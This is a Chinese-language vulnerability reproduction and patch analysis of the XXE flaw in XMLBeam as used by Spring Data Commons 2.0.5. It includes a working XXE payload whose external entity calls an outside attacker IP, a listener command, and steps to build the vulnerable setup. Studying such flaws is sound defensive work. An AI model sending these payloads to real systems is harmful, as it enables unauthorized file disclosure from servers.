漏洞信息

  • 看pivotal发布漏洞信息如下:

【20180926】安全技术spring-data-XMLBeanXXE复现 - 图1

  • 通过发布的漏洞信息可以知道,漏洞组件是在XMLBeam1.4.14或者是更早的版本,主要原因是没有限制XML文件外部实体引用。而Spring Data Commons的某些版本中使用了存在漏洞的XMLBeam组件。

环境搭建

下载Demo

  1. git clone https://github.com/spring-projects/spring-data-examples.git

使用IDEA打开其中的web/projection项目,修改其中的pom.xml文件:
修改spring-data-commons的版本。

  1. <dependency>
  2. <groupId>org.springframework.data</groupId>
  3. <artifactId>spring-data-commons</artifactId>
  4. <version>2.0.5.RELEASE</version>
  5. </dependency>

web/projection下的pom.xml添加spring-boot的依赖,替换掉原先的parent里的内容。

  1. <parent>
  2. <groupId>org.springframework.boot</groupId>
  3. <artifactId>spring-boot-starter-parent</artifactId>
  4. <version>2.0.0.RELEASE</version>
  5. </parent>

使用IDEA下的Dependency Analyzer看,有漏洞的是xmlprojector1.4.13和spring-data-commons 2.0.5.Release
【20180926】安全技术spring-data-XMLBeanXXE复现 - 图2

【20180926】安全技术spring-data-XMLBeanXXE复现 - 图3

注释example.usersUserControllerClientTests.javaUserControllerIntegrationTests.java中的代码(主要是测试代码,对漏洞环境无影响)。

漏洞复现

  • 在远程Linux服务器上,开启对80端口的监听。
  1. python -m SimpleHTTPServer 80

使用IDEA启动程序,Burpsuite抓包篡改,采用POST方式发送XML的数据,此时注意Content-type要修改,和post_body内容:
【20180926】安全技术spring-data-XMLBeanXXE复现 - 图4

  1. <!DOCTYPE b [<!ENTITY xxe SYSTEM "http://{你的ip}/simple.htm">]>
  2. <user>
  3. <fiestname>&xxe;</firstname>
  4. <lastname>spoock</lastname>
  5. </user>

在远程的Linux下服务端,就可以看到执行了。
【20180926】安全技术spring-data-XMLBeanXXE复现 - 图5

漏洞分析

通过漏洞修复commit发现,对DefaultXMLFactoriesConfig.java进行了修改,如下:

  1. 配置了默认的feature
    【20180926】安全技术spring-data-XMLBeanXXE复现 - 图6

  2. 禁止实体引用、禁止合并多个XML文档。关于XInclude的用法可以参考XML包含机制
    【20180926】安全技术spring-data-XMLBeanXXE复现 - 图7

通过补丁分析,漏洞原因是在于XMLBeam漏洞版本中没有限制外部实体。

当我们发送Payload时,是由example.users.UserController中的@PostMapping(value = "/")来处理请求:
【20180926】安全技术spring-data-XMLBeanXXE复现 - 图8
其中user.getFirstname()已经完成了参数解析并读取c:/windows/win.ini中的内容,所以我们发送的Payload在发送到Web应用之前已经由Spring Data Commons对发送的参数进行了解析并绑定到user对象上。而Spring Data Commons是利用XMLBeam解析XML文件,这样就导致了在Web应用响应请求时已经完成了XML的解析从而造成了XXE漏洞。

通过层层追踪,XML的解析最终是由org.xmlbeam.ProjectionInvocationHandler:invokeReadProjection()处理,
【20180926】安全技术spring-data-XMLBeanXXE复现 - 图9

XML的解析是由Node dataNode = (Node)expression.evaluate(node, XPathConstants.NODE);完成,其中expression就有xpath表达式,node表示当前的document。

当我们更新XMLBeam的版本至1.4.15时,即设置了instance.setXIncludeAware(this.isXIncludeAware);instance.setExpandEntityReferences(this.isExpandEntityReferences);。分析invokeReadProjection()函数
【20180926】安全技术spring-data-XMLBeanXXE复现 - 图10

可以看到expression中的xpath表达式保持不变,但是data此时的结果已经为空,说明通过设置禁止实体引用就导致了XXE漏洞失效。

其实整个XML的解析与参数整个请求参数的传递并没有关系只和DefaultXMLFactoriesConfig的配置有关,所以漏洞分析并不需要跟踪XML文件的解析过程,也不需要通过Spring Data Commons去追踪数据流,只需要了解这个漏洞的本质原因即可。

其他启示

  • 这个XXE漏洞本质是因DefaultXMLFactoriesConfig.java配置不当而导致的,Spring Data Commons的某些版本中恰好使用了含有漏洞的XMLBeam组件。这也就引出了一个问题,在Java这种大量使用第三方包的情况下,如何避免因第三方包的漏洞导致自己的应用也受到危害呢?
  • 这个XXE漏洞是否可以理解成引用了javax.xml.parsers.DocumentBuilderFactory包的地方,没有妥善设置防XXE语句,那么当外部用户可控XML时,即存在XXE漏洞?
  • 如何沉淀出白盒扫描规则,批量发现此类开源问题的0Day及通用漏洞?

参考资料